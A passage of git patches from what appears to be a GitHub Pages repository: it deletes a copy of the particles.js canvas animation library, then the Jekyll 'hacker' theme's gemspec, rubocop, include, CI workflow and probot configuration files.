/* ---------- pJS functions - particles interaction ------------ */ - - pJS.fn.interact.linkParticles = function(p1, p2){ - - var dx = p1.x - p2.x, - dy = p1.y - p2.y, - dist = Math.sqrt(dx*dx + dy*dy); - - /* draw a line between p1 and p2 if the distance between them is under the config distance */ - if(dist <= pJS.particles.line_linked.distance){ - - var opacity_line = pJS.particles.line_linked.opacity - (dist / (1/pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance; - - if(opacity_line > 0){ - - /* style */ - var color_line = pJS.particles.line_linked.color_rgb_line; - pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')'; - pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width; - //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */ - - /* path */ - pJS.canvas.ctx.beginPath(); - pJS.canvas.ctx.moveTo(p1.x, p1.y); - pJS.canvas.ctx.lineTo(p2.x, p2.y); - pJS.canvas.ctx.stroke(); - pJS.canvas.ctx.closePath(); - - } - - } - - }; - - - pJS.fn.interact.attractParticles = function(p1, p2){ - - /* condensed particles */ - var dx = p1.x - p2.x, - dy = p1.y - p2.y, - dist = Math.sqrt(dx*dx + dy*dy); - - if(dist <= pJS.particles.line_linked.distance){ - - var ax = dx/(pJS.particles.move.attract.rotateX*1000), - ay = dy/(pJS.particles.move.attract.rotateY*1000); - - p1.vx -= ax; - p1.vy -= ay; - - p2.vx += ax; - p2.vy += ay; - - } - - - } - - - pJS.fn.interact.bounceParticles = function(p1, p2){ - - var dx = p1.x - p2.x, - dy = p1.y - p2.y, - dist = Math.sqrt(dx*dx + dy*dy), - dist_p = p1.radius+p2.radius; - - if(dist <= dist_p){ - p1.vx = -p1.vx; - p1.vy = -p1.vy; - - p2.vx = -p2.vx; - p2.vy = -p2.vy; - } - - } - - - /* ---------- pJS functions - modes events ------------ */ - - pJS.fn.modes.pushParticles = function(nb, pos){ - - pJS.tmp.pushing = true; - - for(var i = 0; i < nb; i++){ - pJS.particles.array.push( - new pJS.fn.particle( - pJS.particles.color, - pJS.particles.opacity.value, - { - 'x': pos ? pos.pos_x : Math.random() * pJS.canvas.w, - 'y': pos ? pos.pos_y : Math.random() * pJS.canvas.h - } - ) - ) - if(i == nb-1){ - if(!pJS.particles.move.enable){ - pJS.fn.particlesDraw(); - } - pJS.tmp.pushing = false; - } - } - - }; - - - pJS.fn.modes.removeParticles = function(nb){ - - pJS.particles.array.splice(0, nb); - if(!pJS.particles.move.enable){ - pJS.fn.particlesDraw(); - } - - }; - - - pJS.fn.modes.bubbleParticle = function(p){ - - /* on hover event */ - if(pJS.interactivity.events.onhover.enable && isInArray('bubble', pJS.interactivity.events.onhover.mode)){ - - var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, - dy_mouse = p.y - pJS.interactivity.mouse.pos_y, - dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse), - ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance; - - function init(){ - p.opacity_bubble = p.opacity; - p.radius_bubble = p.radius; - } - - /* mousemove - check ratio */ - if(dist_mouse <= pJS.interactivity.modes.bubble.distance){ - - if(ratio >= 0 && pJS.interactivity.status == 'mousemove'){ - - /* size */ - if(pJS.interactivity.modes.bubble.size != pJS.particles.size.value){ - - if(pJS.interactivity.modes.bubble.size > pJS.particles.size.value){ - var size = p.radius + (pJS.interactivity.modes.bubble.size*ratio); - if(size >= 0){ - p.radius_bubble = size; - } - }else{ - var dif = p.radius - pJS.interactivity.modes.bubble.size, - size = p.radius - (dif*ratio); - if(size > 0){ - p.radius_bubble = size; - }else{ - p.radius_bubble = 0; - } - } - - } - - /* opacity */ - if(pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value){ - - if(pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value){ - var opacity = pJS.interactivity.modes.bubble.opacity*ratio; - if(opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity){ - p.opacity_bubble = opacity; - } - }else{ - var opacity = p.opacity - (pJS.particles.opacity.value-pJS.interactivity.modes.bubble.opacity)*ratio; - if(opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity){ - p.opacity_bubble = opacity; - } - } - - } - - } - - }else{ - init(); - } - - - /* mouseleave */ - if(pJS.interactivity.status == 'mouseleave'){ - init(); - } - - } - - /* on click event */ - else if(pJS.interactivity.events.onclick.enable && isInArray('bubble', pJS.interactivity.events.onclick.mode)){ - - - if(pJS.tmp.bubble_clicking){ - var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x, - dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y, - dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse), - time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time)/1000; - - if(time_spent > pJS.interactivity.modes.bubble.duration){ - pJS.tmp.bubble_duration_end = true; - } - - if(time_spent > pJS.interactivity.modes.bubble.duration*2){ - pJS.tmp.bubble_clicking = false; - pJS.tmp.bubble_duration_end = false; - } - } - - - function process(bubble_param, particles_param, p_obj_bubble, p_obj, id){ - - if(bubble_param != particles_param){ - - if(!pJS.tmp.bubble_duration_end){ - if(dist_mouse <= pJS.interactivity.modes.bubble.distance){ - if(p_obj_bubble != undefined) var obj = p_obj_bubble; - else var obj = p_obj; - if(obj != bubble_param){ - var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration); - if(id == 'size') p.radius_bubble = value; - if(id == 'opacity') p.opacity_bubble = value; - } - }else{ - if(id == 'size') p.radius_bubble = undefined; - if(id == 'opacity') p.opacity_bubble = undefined; - } - }else{ - if(p_obj_bubble != undefined){ - var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration), - dif = bubble_param - value_tmp; - value = bubble_param + dif; - if(id == 'size') p.radius_bubble = value; - if(id == 'opacity') p.opacity_bubble = value; - } - } - - } - - } - - if(pJS.tmp.bubble_clicking){ - /* size */ - process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, 'size'); - /* opacity */ - process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, 'opacity'); - } - - } - - }; - - - pJS.fn.modes.repulseParticle = function(p){ - - if(pJS.interactivity.events.onhover.enable && isInArray('repulse', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == 'mousemove') { - - var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, - dy_mouse = p.y - pJS.interactivity.mouse.pos_y, - dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse); - - var normVec = {x: dx_mouse/dist_mouse, y: dy_mouse/dist_mouse}, - repulseRadius = pJS.interactivity.modes.repulse.distance, - velocity = 100, - repulseFactor = clamp((1/repulseRadius)*(-1*Math.pow(dist_mouse/repulseRadius,2)+1)*repulseRadius*velocity, 0, 50); - - var pos = { - x: p.x + normVec.x * repulseFactor, - y: p.y + normVec.y * repulseFactor - } - - if(pJS.particles.move.out_mode == 'bounce'){ - if(pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x; - if(pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y; - }else{ - p.x = pos.x; - p.y = pos.y; - } - - } - - - else if(pJS.interactivity.events.onclick.enable && isInArray('repulse', pJS.interactivity.events.onclick.mode)) { - - if(!pJS.tmp.repulse_finish){ - pJS.tmp.repulse_count++; - if(pJS.tmp.repulse_count == pJS.particles.array.length){ - pJS.tmp.repulse_finish = true; - } - } - - if(pJS.tmp.repulse_clicking){ - - var repulseRadius = Math.pow(pJS.interactivity.modes.repulse.distance/6, 3); - - var dx = pJS.interactivity.mouse.click_pos_x - p.x, - dy = pJS.interactivity.mouse.click_pos_y - p.y, - d = dx*dx + dy*dy; - - var force = -repulseRadius / d * 1; - - function process(){ - - var f = Math.atan2(dy,dx); - p.vx = force * Math.cos(f); - p.vy = force * Math.sin(f); - - if(pJS.particles.move.out_mode == 'bounce'){ - var pos = { - x: p.x + p.vx, - y: p.y + p.vy - } - if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx; - else if (pos.x - p.radius < 0) p.vx = -p.vx; - if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy; - else if (pos.y - p.radius < 0) p.vy = -p.vy; - } - - } - - // default - if(d <= repulseRadius){ - process(); - } - - // bang - slow motion mode - // if(!pJS.tmp.repulse_finish){ - // if(d <= repulseRadius){ - // process(); - // } - // }else{ - // process(); - // } - - - }else{ - - if(pJS.tmp.repulse_clicking == false){ - - p.vx = p.vx_i; - p.vy = p.vy_i; - - } - - } - - } - - } - - - pJS.fn.modes.grabParticle = function(p){ - - if(pJS.interactivity.events.onhover.enable && pJS.interactivity.status == 'mousemove'){ - - var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, - dy_mouse = p.y - pJS.interactivity.mouse.pos_y, - dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse); - - /* draw a line between the cursor and the particle if the distance between them is under the config distance */ - if(dist_mouse <= pJS.interactivity.modes.grab.distance){ - - var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1/pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance; - - if(opacity_line > 0){ - - /* style */ - var color_line = pJS.particles.line_linked.color_rgb_line; - pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')'; - pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width; - //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */ - - /* path */ - pJS.canvas.ctx.beginPath(); - pJS.canvas.ctx.moveTo(p.x, p.y); - pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y); - pJS.canvas.ctx.stroke(); - pJS.canvas.ctx.closePath(); - - } - - } - - } - - }; - - - - /* ---------- pJS functions - vendors ------------ */ - - pJS.fn.vendors.eventsListeners = function(){ - - /* events target element */ - if(pJS.interactivity.detect_on == 'window'){ - pJS.interactivity.el = window; - }else{ - pJS.interactivity.el = pJS.canvas.el; - } - - - /* detect mouse pos - on hover / click event */ - if(pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable){ - - /* el on mousemove */ - pJS.interactivity.el.addEventListener('mousemove', function(e){ - - if(pJS.interactivity.el == window){ - var pos_x = e.clientX, - pos_y = e.clientY; - } - else{ - var pos_x = e.offsetX || e.clientX, - pos_y = e.offsetY || e.clientY; - } - - pJS.interactivity.mouse.pos_x = pos_x; - pJS.interactivity.mouse.pos_y = pos_y; - - if(pJS.tmp.retina){ - pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio; - pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio; - } - - pJS.interactivity.status = 'mousemove'; - - }); - - /* el on onmouseleave */ - pJS.interactivity.el.addEventListener('mouseleave', function(e){ - - pJS.interactivity.mouse.pos_x = null; - pJS.interactivity.mouse.pos_y = null; - pJS.interactivity.status = 'mouseleave'; - - }); - - } - - /* on click event */ - if(pJS.interactivity.events.onclick.enable){ - - pJS.interactivity.el.addEventListener('click', function(){ - - pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x; - pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y; - pJS.interactivity.mouse.click_time = new Date().getTime(); - - if(pJS.interactivity.events.onclick.enable){ - - switch(pJS.interactivity.events.onclick.mode){ - - case 'push': - if(pJS.particles.move.enable){ - pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse); - }else{ - if(pJS.interactivity.modes.push.particles_nb == 1){ - pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse); - } - else if(pJS.interactivity.modes.push.particles_nb > 1){ - pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb); - } - } - break; - - case 'remove': - pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb); - break; - - case 'bubble': - pJS.tmp.bubble_clicking = true; - break; - - case 'repulse': - pJS.tmp.repulse_clicking = true; - pJS.tmp.repulse_count = 0; - pJS.tmp.repulse_finish = false; - setTimeout(function(){ - pJS.tmp.repulse_clicking = false; - }, pJS.interactivity.modes.repulse.duration*1000) - break; - - } - - } - - }); - - } - - - }; - - pJS.fn.vendors.densityAutoParticles = function(){ - - if(pJS.particles.number.density.enable){ - - /* calc area */ - var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000; - if(pJS.tmp.retina){ - area = area/(pJS.canvas.pxratio*2); - } - - /* calc number of particles based on density area */ - var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area; - - /* add or remove X particles */ - var missing_particles = pJS.particles.array.length - nb_particles; - if(missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles)); - else pJS.fn.modes.removeParticles(missing_particles); - - } - - }; - - - pJS.fn.vendors.checkOverlap = function(p1, position){ - for(var i = 0; i < pJS.particles.array.length; i++){ - var p2 = pJS.particles.array[i]; - - var dx = p1.x - p2.x, - dy = p1.y - p2.y, - dist = Math.sqrt(dx*dx + dy*dy); - - if(dist <= p1.radius + p2.radius){ - p1.x = position ? position.x : Math.random() * pJS.canvas.w; - p1.y = position ? position.y : Math.random() * pJS.canvas.h; - pJS.fn.vendors.checkOverlap(p1); - } - } - }; - - - pJS.fn.vendors.createSvgImg = function(p){ - - /* set color to svg element */ - var svgXml = pJS.tmp.source_svg, - rgbHex = /#([0-9A-F]{3,6})/gi, - coloredSvgXml = svgXml.replace(rgbHex, function (m, r, g, b) { - if(p.color.rgb){ - var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+p.opacity+')'; - }else{ - var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+p.opacity+')'; - } - return color_value; - }); - - /* prepare to create img with colored svg */ - var svg = new Blob([coloredSvgXml], {type: 'image/svg+xml;charset=utf-8'}), - DOMURL = window.URL || window.webkitURL || window, - url = DOMURL.createObjectURL(svg); - - /* create particle img obj */ - var img = new Image(); - img.addEventListener('load', function(){ - p.img.obj = img; - p.img.loaded = true; - DOMURL.revokeObjectURL(url); - pJS.tmp.count_svg++; - }); - img.src = url; - - }; - - - pJS.fn.vendors.destroypJS = function(){ - cancelAnimationFrame(pJS.fn.drawAnimFrame); - canvas_el.remove(); - pJSDom = null; - }; - - - pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator){ - - // By Programming Thomas - https://programmingthomas.wordpress.com/2013/04/03/n-sided-shapes/ - var sideCount = sideCountNumerator * sideCountDenominator; - var decimalSides = sideCountNumerator / sideCountDenominator; - var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides; - var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180; // convert to radians - c.save(); - c.beginPath(); - c.translate(startX, startY); - c.moveTo(0,0); - for (var i = 0; i < sideCount; i++) { - c.lineTo(sideLength,0); - c.translate(sideLength,0); - c.rotate(interiorAngle); - } - //c.stroke(); - c.fill(); - c.restore(); - - }; - - pJS.fn.vendors.exportImg = function(){ - window.open(pJS.canvas.el.toDataURL('image/png'), '_blank'); - }; - - - pJS.fn.vendors.loadImg = function(type){ - - pJS.tmp.img_error = undefined; - - if(pJS.particles.shape.image.src != ''){ - - if(type == 'svg'){ - - var xhr = new XMLHttpRequest(); - xhr.open('GET', pJS.particles.shape.image.src); - xhr.onreadystatechange = function (data) { - if(xhr.readyState == 4){ - if(xhr.status == 200){ - pJS.tmp.source_svg = data.currentTarget.response; - pJS.fn.vendors.checkBeforeDraw(); - }else{ - console.log('Error pJS - Image not found'); - pJS.tmp.img_error = true; - } - } - } - xhr.send(); - - }else{ - - var img = new Image(); - img.addEventListener('load', function(){ - pJS.tmp.img_obj = img; - pJS.fn.vendors.checkBeforeDraw(); - }); - img.src = pJS.particles.shape.image.src; - - } - - }else{ - console.log('Error pJS - No image.src'); - pJS.tmp.img_error = true; - } - - }; - - - pJS.fn.vendors.draw = function(){ - - if(pJS.particles.shape.type == 'image'){ - - if(pJS.tmp.img_type == 'svg'){ - - if(pJS.tmp.count_svg >= pJS.particles.number.value){ - pJS.fn.particlesDraw(); - if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); - else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); - }else{ - //console.log('still loading...'); - if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); - } - - }else{ - - if(pJS.tmp.img_obj != undefined){ - pJS.fn.particlesDraw(); - if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); - else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); - }else{ - if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); - } - - } - - }else{ - pJS.fn.particlesDraw(); - if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); - else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); - } - - }; - - - pJS.fn.vendors.checkBeforeDraw = function(){ - - // if shape is image - if(pJS.particles.shape.type == 'image'){ - - if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg == undefined){ - pJS.tmp.checkAnimFrame = requestAnimFrame(check); - }else{ - //console.log('images loaded! cancel check'); - cancelRequestAnimFrame(pJS.tmp.checkAnimFrame); - if(!pJS.tmp.img_error){ - pJS.fn.vendors.init(); - pJS.fn.vendors.draw(); - } - - } - - }else{ - pJS.fn.vendors.init(); - pJS.fn.vendors.draw(); - } - - }; - - - pJS.fn.vendors.init = function(){ - - /* init canvas + particles */ - pJS.fn.retinaInit(); - pJS.fn.canvasInit(); - pJS.fn.canvasSize(); - pJS.fn.canvasPaint(); - pJS.fn.particlesCreate(); - pJS.fn.vendors.densityAutoParticles(); - - /* particles.line_linked - convert hex colors to rgb */ - pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color); - - }; - - - pJS.fn.vendors.start = function(){ - - if(isInArray('image', pJS.particles.shape.type)){ - pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3); - pJS.fn.vendors.loadImg(pJS.tmp.img_type); - }else{ - pJS.fn.vendors.checkBeforeDraw(); - } - - }; - - - - - /* ---------- pJS - start ------------ */ - - - pJS.fn.vendors.eventsListeners(); - - pJS.fn.vendors.start(); - - - -}; - -/* ---------- global functions - vendors ------------ */ - -Object.deepExtend = function(destination, source) { - for (var property in source) { - if (source[property] && source[property].constructor && - source[property].constructor === Object) { - destination[property] = destination[property] || {}; - arguments.callee(destination[property], source[property]); - } else { - destination[property] = source[property]; - } - } - return destination; -}; - -window.requestAnimFrame = (function(){ - return window.requestAnimationFrame || - window.webkitRequestAnimationFrame || - window.mozRequestAnimationFrame || - window.oRequestAnimationFrame || - window.msRequestAnimationFrame || - function(callback){ - window.setTimeout(callback, 1000 / 60); - }; -})(); - -window.cancelRequestAnimFrame = ( function() { - return window.cancelAnimationFrame || - window.webkitCancelRequestAnimationFrame || - window.mozCancelRequestAnimationFrame || - window.oCancelRequestAnimationFrame || - window.msCancelRequestAnimationFrame || - clearTimeout -} )(); - -function hexToRgb(hex){ - // By Tim Down - http://stackoverflow.com/a/5624139/3493650 - // Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF") - var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; - hex = hex.replace(shorthandRegex, function(m, r, g, b) { - return r + r + g + g + b + b; - }); - var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); - return result ? { - r: parseInt(result[1], 16), - g: parseInt(result[2], 16), - b: parseInt(result[3], 16) - } : null; -}; - -function clamp(number, min, max) { - return Math.min(Math.max(number, min), max); -}; - -function isInArray(value, array) { - return array.indexOf(value) > -1; -} - - -/* ---------- particles.js functions - start ------------ */ - -window.pJSDom = []; - -window.particlesJS = function(tag_id, params){ - - //console.log(params); - - /* no string id? so it's object params, and set the id with default id */ - if(typeof(tag_id) != 'string'){ - params = tag_id; - tag_id = 'particles-js'; - } - - /* no id? set the id to default id */ - if(!tag_id){ - tag_id = 'particles-js'; - } - - /* pJS elements */ - var pJS_tag = document.getElementById(tag_id), - pJS_canvas_class = 'particles-js-canvas-el', - exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class); - - /* remove canvas if exists into the pJS target tag */ - if(exist_canvas.length){ - while(exist_canvas.length > 0){ - pJS_tag.removeChild(exist_canvas[0]); - } - } - - /* create canvas element */ - var canvas_el = document.createElement('canvas'); - canvas_el.className = pJS_canvas_class; - - /* set size canvas */ - canvas_el.style.width = "100%"; - canvas_el.style.height = "100%"; - - /* append canvas */ - var canvas = document.getElementById(tag_id).appendChild(canvas_el); - - /* launch particle.js */ - if(canvas != null){ - pJSDom.push(new pJS(tag_id, params)); - } - -}; - -window.particlesJS.load = function(tag_id, path_config_json, callback){ - - /* load json config */ - var xhr = new XMLHttpRequest(); - xhr.open('GET', path_config_json); - xhr.onreadystatechange = function (data) { - if(xhr.readyState == 4){ - if(xhr.status == 200){ - var params = JSON.parse(data.currentTarget.response); - window.particlesJS(tag_id, params); - if(callback) callback(); - }else{ - console.log('Error pJS - XMLHttpRequest status: '+xhr.status); - console.log('Error pJS - File config not found'); - } - } - }; - xhr.send(); - -}; \ No newline at end of file From c15f72e69230900591f97aec6cd69981b6b0ddc5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:18:03 +0200 Subject: [PATCH 0713/1701] Rename index1.md to index.md --- index1.md => index.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename index1.md => index.md (100%) diff --git a/index1.md b/index.md similarity index 100% rename from index1.md rename to index.md From 21dad33a704bddf2fc00715a65d2c3d79a49b0f9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:19:08 +0200 Subject: [PATCH 0714/1701] Delete jekyll-theme-hacker.gemspec --- jekyll-theme-hacker.gemspec | 24 ------------------------ 1 file changed, 24 deletions(-) delete mode 100644 jekyll-theme-hacker.gemspec diff --git a/jekyll-theme-hacker.gemspec b/jekyll-theme-hacker.gemspec deleted file mode 100644 index 893e841f9b8..00000000000 --- a/jekyll-theme-hacker.gemspec +++ /dev/null @@ -1,24 +0,0 @@ -# frozen_string_literal: true - -Gem::Specification.new do |s| - s.name = "jekyll-theme-hacker" - s.version = "0.2.0" - s.license = "CC0-1.0" - s.authors = ["Jason Costello", "GitHub, Inc."] - s.email = ["opensource+jekyll-theme-hacker@github.com"] - s.homepage = "https://github.com/pages-themes/hacker" - s.summary = "Hacker is a Jekyll theme for GitHub Pages" - - s.files = `git ls-files -z`.split("\x0").select do |f| - f.match(%r{^((_includes|_layouts|_sass|assets)/|(LICENSE|README)((\.(txt|md|markdown)|$)))}i) - end - - s.required_ruby_version = ">= 2.4.0" - - s.platform = Gem::Platform::RUBY - s.add_runtime_dependency "jekyll", "> 3.5", "< 5.0" - s.add_runtime_dependency "jekyll-seo-tag", "~> 2.0" - s.add_development_dependency "html-proofer", "~> 3.0" - s.add_development_dependency "rubocop-github", "~> 0.16" - s.add_development_dependency "w3c_validators", "~> 1.3" -end From dd0e3c25bce99d03cd3a44005ec628a959101822 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:19:29 +0200 Subject: [PATCH 0715/1701] Delete .rubocop.yml --- .rubocop.yml | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 .rubocop.yml diff --git a/.rubocop.yml b/.rubocop.yml deleted file mode 100644 index 15c823df623..00000000000 --- a/.rubocop.yml +++ /dev/null @@ -1,11 +0,0 @@ -inherit_gem: - rubocop-github: - - config/default.yml - -AllCops: - Exclude: - - _site/**/* - - vendor/**/* - -Layout/LineLength: - Enabled: false From 854a7b0b2e7de9cbfe3714910c1ac238b48a9af0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:22:59 +0200 Subject: [PATCH 0716/1701] Delete _includes directory --- _includes/head-custom-google-analytics.html | 10 ---------- _includes/head-custom-theme-colors.html | 5 ----- _includes/head-custom.html | 12 ------------ 3 files changed, 27 deletions(-) delete mode 100644 _includes/head-custom-google-analytics.html delete mode 100644 _includes/head-custom-theme-colors.html delete mode 100644 _includes/head-custom.html diff --git a/_includes/head-custom-google-analytics.html b/_includes/head-custom-google-analytics.html deleted file mode 100644 index 8a3ae5c9ca1..00000000000 --- a/_includes/head-custom-google-analytics.html +++ /dev/null @@ -1,10 +0,0 @@ -{% if site.google_analytics %} - -{% endif %} diff --git a/_includes/head-custom-theme-colors.html b/_includes/head-custom-theme-colors.html deleted file mode 100644 index a30e7084adf..00000000000 --- a/_includes/head-custom-theme-colors.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/_includes/head-custom.html b/_includes/head-custom.html deleted file mode 100644 index 44cdb83f523..00000000000 --- a/_includes/head-custom.html +++ /dev/null @@ -1,12 +0,0 @@ - - - -{% include head-custom-theme-colors.html %} - - -{% include head-custom-google-analytics.html %} - - - - - From 94bad6b8be03582f333b9d71b7571bb1060144f4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:23:50 +0200 Subject: [PATCH 0717/1701] Delete .github/workflows directory --- .github/workflows/ci.yaml | 18 ------------------ 1 file changed, 18 deletions(-) delete mode 100644 .github/workflows/ci.yaml diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml deleted file mode 100644 index d9249a52545..00000000000 --- a/.github/workflows/ci.yaml +++ /dev/null @@ -1,18 +0,0 @@ -on: - push: - pull_request: - types: [opened, synchronize] -jobs: - build: - runs-on: ubuntu-latest - name: script/cibuild - steps: - - uses: actions/checkout@v2 - - uses: ruby/setup-ruby@v1 - with: - ruby-version: 2.7 - bundler-cache: true - - name: build - run: script/bootstrap - - name: test - run: script/cibuild From 0bb363bdf70d8320b6f5b73d2d76a13de9cb4542 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:24:21 +0200 Subject: [PATCH 0718/1701] Delete no-response.yml --- .github/no-response.yml | 13 ------------- 1 file changed, 13 deletions(-) delete mode 100644 .github/no-response.yml diff --git a/.github/no-response.yml b/.github/no-response.yml deleted file mode 100644 index 7193eaa3b20..00000000000 --- a/.github/no-response.yml +++ /dev/null @@ -1,13 +0,0 @@ -# Configuration for probot-no-response - https://github.com/probot/no-response - -# Number of days of inactivity before an Issue is closed for lack of response -daysUntilClose: 14 -# Label requiring a response -responseRequiredLabel: more-information-needed -# Comment to post when closing an Issue for lack of response. Set to `false` to disable -closeComment: > - This issue has been automatically closed because there has been no response - to our request for more information from the original author. With only the - information that is currently in the issue, we don't have enough information - to take action. Please reach out if you have or find the answers we need so - that we can investigate further. From 58135134bbd95ebd91ef9fbc4809c2333de58822 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:24:45 +0200 Subject: [PATCH 0719/1701] Delete .github directory --- .github/settings.yml | 31 ------------------------------- .github/stale.yml | 27 --------------------------- 2 files changed, 58 deletions(-) delete mode 100644 .github/settings.yml delete mode 100644 .github/stale.yml diff --git a/.github/settings.yml b/.github/settings.yml deleted file mode 100644 index 7c1b11592e1..00000000000 --- a/.github/settings.yml +++ /dev/null @@ -1,31 +0,0 @@ -# Repository settings set via https://github.com/probot/settings - -repository: - has_issues: true - has_wiki: false - has_projects: false - has_downloads: false - -labels: - - name: help wanted - oldname: help-wanted - color: 0e8a16 - - name: more-information-needed - color: d93f0b - - name: bug - color: b60205 - - name: feature - color: 1d76db - - name: good first issue - color: "5319e7" - -# Not currently implemented by probot/settings, but manually implemented in script/deploy -branch_protection: - restrictions: null - enforce_admins: false - required_status_checks: - strict: true - contexts: - - "script/cibuild" # GitHub Actions CI workflow - required_pull_request_reviews: - require_code_owner_reviews: true diff --git a/.github/stale.yml b/.github/stale.yml deleted file mode 100644 index a1aa17e58ad..00000000000 --- a/.github/stale.yml +++ /dev/null @@ -1,27 +0,0 @@ -# Configuration for probot-stale - https://github.com/probot/stale - -# Number of days of inactivity before an Issue or Pull Request becomes stale -daysUntilStale: 60 - -# Number of days of inactivity before a stale Issue or Pull Request is closed -daysUntilClose: 7 - -# Issues or Pull Requests with these labels will never be considered stale -exemptLabels: - - pinned - - security - -# Label to use when marking as stale -staleLabel: wontfix - -# Comment to post when marking as stale. Set to `false` to disable -markComment: > - This issue has been automatically marked as stale because it has not had - recent activity. It will be closed if no further activity occurs. Thank you - for your contributions. - -# Comment to post when closing a stale Issue or Pull Request. Set to `false` to disable -closeComment: false - -# Limit to only `issues` or `pulls` -# only: issues From 2b20a00ded2157442514e5d070528b79245d9e22 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:28:27 +0200 Subject: [PATCH 0720/1701] Delete .travis.yml --- .travis.yml | 6 ------ 1 file changed, 6 deletions(-) delete mode 100644 .travis.yml diff --git a/.travis.yml b/.travis.yml deleted file mode 